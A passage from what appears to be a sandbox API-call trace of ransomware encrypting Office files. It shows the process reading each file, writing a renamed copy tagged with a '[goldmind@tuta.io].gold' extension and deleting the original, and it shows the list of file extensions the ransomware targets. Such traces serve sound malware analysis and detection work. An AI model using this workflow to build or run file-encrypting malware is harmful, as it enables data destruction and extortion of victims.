nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0112.784] SetEndOfFile (hFile=0x3c8) returned 1 [0112.784] CloseHandle (hObject=0x3c8) returned 1 [0112.784] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.784] SetEndOfFile (hFile=0x3ac) returned 1 [0112.786] CloseHandle (hObject=0x3ac) returned 1 [0112.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico")) returned 1 [0112.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.787] lstrlenW (lpString=".doc") returned 4 [0112.787] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.787] lstrlenW (lpString=".docx") returned 5 [0112.787] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0112.787] lstrlenW (lpString=".pdf") returned 4 [0112.787] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.787] lstrlenW (lpString=".xls") returned 4 [0112.787] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.787] lstrlenW (lpString=".xlsx") returned 5 [0112.787] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0112.787] lstrlenW (lpString=".ppt") returned 4 [0112.787] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.787] lstrlenW (lpString=".zip") returned 4 [0112.787] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.787] lstrlenW (lpString=".rar") returned 4 [0112.787] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.787] lstrlenW (lpString=".bz2") returned 4 [0112.787] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.787] lstrlenW (lpString=".7z") returned 3 [0112.787] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.788] lstrlenW (lpString=".dbf") returned 4 [0112.788] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.788] lstrlenW (lpString=".1cd") returned 4 [0112.788] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.788] lstrlenW (lpString=".jpg") returned 4 [0112.788] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.788] lstrlenW (lpString=".doc") returned 4 [0112.788] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.788] lstrlenW (lpString=".docx") returned 5 [0112.788] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0112.788] lstrlenW (lpString=".pdf") returned 4 [0112.788] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.788] lstrlenW (lpString=".xls") returned 4 [0112.788] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.788] lstrlenW (lpString=".xlsx") returned 5 [0112.788] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0112.788] lstrlenW (lpString=".ppt") returned 4 [0112.788] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.788] lstrlenW (lpString=".zip") returned 4 [0112.788] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.788] lstrlenW (lpString=".rar") returned 4 [0112.788] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.788] lstrlenW (lpString=".bz2") returned 4 [0112.788] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.788] lstrlenW (lpString=".7z") returned 3 [0112.788] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.788] lstrlenW (lpString=".dbf") returned 4 [0112.788] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.788] lstrlenW (lpString=".1cd") returned 4 [0112.788] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0112.788] lstrlenW (lpString=".jpg") returned 4 [0112.788] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.788] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0112.788] lstrlenW (lpString="CNFRES.CFG") returned 10 [0112.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.810] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=338) returned 1 [0112.810] CloseHandle (hObject=0x394) returned 1 [0112.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg")) returned 0x20 [0112.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.842] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.842] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.842] GetLastError () returned 0x0 [0112.842] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x152, lpOverlapped=0x0) returned 1 [0112.843] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x160, lpOverlapped=0x0) returned 1 [0112.844] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.844] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0112.844] SetEndOfFile (hFile=0x3ec) returned 1 [0112.844] CloseHandle (hObject=0x3ec) returned 1 [0112.844] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.844] SetEndOfFile (hFile=0x3e0) returned 1 [0112.848] CloseHandle (hObject=0x3e0) returned 1 [0112.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg")) returned 1 [0112.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.850] lstrlenW (lpString=".doc") returned 4 [0112.850] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0112.850] lstrlenW (lpString=".docx") returned 5 [0112.850] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0112.850] lstrlenW (lpString=".pdf") returned 4 [0112.850] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0112.850] lstrlenW (lpString=".xls") returned 4 [0112.850] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0112.850] lstrlenW (lpString=".xlsx") returned 5 [0112.850] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0112.850] lstrlenW (lpString=".ppt") returned 4 [0112.850] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0112.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.850] lstrlenW (lpString=".zip") returned 4 [0112.850] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0112.850] lstrlenW (lpString=".rar") returned 4 [0112.850] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0112.850] lstrlenW (lpString=".bz2") returned 4 [0112.850] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0112.850] lstrlenW (lpString=".7z") returned 3 [0112.850] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0112.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.850] lstrlenW (lpString=".dbf") returned 4 [0112.850] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0112.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.850] lstrlenW (lpString=".1cd") returned 4 [0112.850] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0112.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.850] lstrlenW (lpString=".jpg") returned 4 [0112.850] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0112.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.850] lstrlenW (lpString=".doc") returned 4 [0112.850] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0112.850] lstrlenW (lpString=".docx") returned 5 [0112.850] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0112.850] lstrlenW (lpString=".pdf") returned 4 [0112.850] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0112.851] lstrlenW (lpString=".xls") returned 4 [0112.851] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0112.851] lstrlenW (lpString=".xlsx") returned 5 [0112.851] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0112.851] lstrlenW (lpString=".ppt") returned 4 [0112.851] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0112.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.851] lstrlenW (lpString=".zip") returned 4 [0112.851] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0112.851] lstrlenW (lpString=".rar") returned 4 [0112.851] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0112.851] lstrlenW (lpString=".bz2") returned 4 [0112.851] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0112.851] lstrlenW (lpString=".7z") returned 3 [0112.851] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0112.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.851] lstrlenW (lpString=".dbf") returned 4 [0112.851] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0112.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.851] lstrlenW (lpString=".1cd") returned 4 [0112.851] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0112.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64 [0112.851] lstrlenW (lpString=".jpg") returned 4 [0112.851] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0112.851] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0112.851] lstrlenW (lpString="CONTACTS.ICO") returned 12 [0112.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.852] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2998) returned 1 [0113.053] CloseHandle (hObject=0x3e0) returned 1 [0113.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico")) returned 0x20 [0113.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0113.681] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.681] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.682] GetLastError () returned 0x0 [0113.682] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0113.714] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0113.715] ReadFile (in: hFile=0x3ec, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.715] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.715] SetEndOfFile (hFile=0x3f8) returned 1 [0113.715] CloseHandle (hObject=0x3f8) returned 1 [0113.715] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.715] SetEndOfFile (hFile=0x3ec) returned 1 [0114.219] CloseHandle (hObject=0x3ec) returned 1 [0114.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico")) returned 1 [0114.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.275] lstrlenW (lpString=".doc") returned 4 [0114.275] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.275] lstrlenW (lpString=".docx") returned 5 [0114.275] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.275] lstrlenW (lpString=".pdf") returned 4 [0114.275] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.275] lstrlenW (lpString=".xls") returned 4 [0114.275] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.275] lstrlenW (lpString=".xlsx") returned 5 [0114.275] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.275] lstrlenW (lpString=".ppt") returned 4 [0114.275] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.275] lstrlenW (lpString=".zip") returned 4 [0114.275] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.275] lstrlenW (lpString=".rar") returned 4 [0114.275] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.275] lstrlenW (lpString=".bz2") returned 4 [0114.275] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.275] lstrlenW (lpString=".7z") returned 3 [0114.275] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.275] lstrlenW (lpString=".dbf") returned 4 [0114.275] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.275] lstrlenW (lpString=".1cd") returned 4 [0114.275] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.275] lstrlenW (lpString=".jpg") returned 4 [0114.275] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.275] lstrlenW (lpString=".doc") returned 4 [0114.275] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0114.275] lstrlenW (lpString=".docx") returned 5 [0114.276] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0114.276] lstrlenW (lpString=".pdf") returned 4 [0114.276] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0114.276] lstrlenW (lpString=".xls") returned 4 [0114.276] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0114.276] lstrlenW (lpString=".xlsx") returned 5 [0114.276] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0114.276] lstrlenW (lpString=".ppt") returned 4 [0114.276] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0114.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.276] lstrlenW (lpString=".zip") returned 4 [0114.276] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0114.276] lstrlenW (lpString=".rar") returned 4 [0114.276] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0114.276] lstrlenW (lpString=".bz2") returned 4 [0114.276] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0114.276] lstrlenW (lpString=".7z") returned 3 [0114.276] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0114.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.276] lstrlenW (lpString=".dbf") returned 4 [0114.276] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0114.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.276] lstrlenW (lpString=".1cd") returned 4 [0114.276] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0114.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0114.276] lstrlenW (lpString=".jpg") returned 4 [0114.276] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0114.276] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0114.276] lstrlenW (lpString="INFOML.ICO") returned 10 [0114.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.299] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=25214) returned 1 [0114.299] CloseHandle (hObject=0x198) returned 1 [0114.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico")) returned 0x20 [0114.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0114.314] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.314] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.316] GetLastError () returned 0x0 [0114.316] ReadFile (in: hFile=0x398, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x627e, lpOverlapped=0x0) returned 1 [0114.339] WriteFile (in: hFile=0x194, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x6280, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x6280, lpOverlapped=0x0) returned 1 [0114.340] ReadFile (in: hFile=0x398, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.340] WriteFile (in: hFile=0x194, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0114.340] SetEndOfFile (hFile=0x194) returned 1 [0114.341] CloseHandle (hObject=0x194) returned 1 [0114.341] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.341] SetEndOfFile (hFile=0x398) returned 1 [0114.343] CloseHandle (hObject=0x398) returned 1 [0114.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.410] DeleteFileW 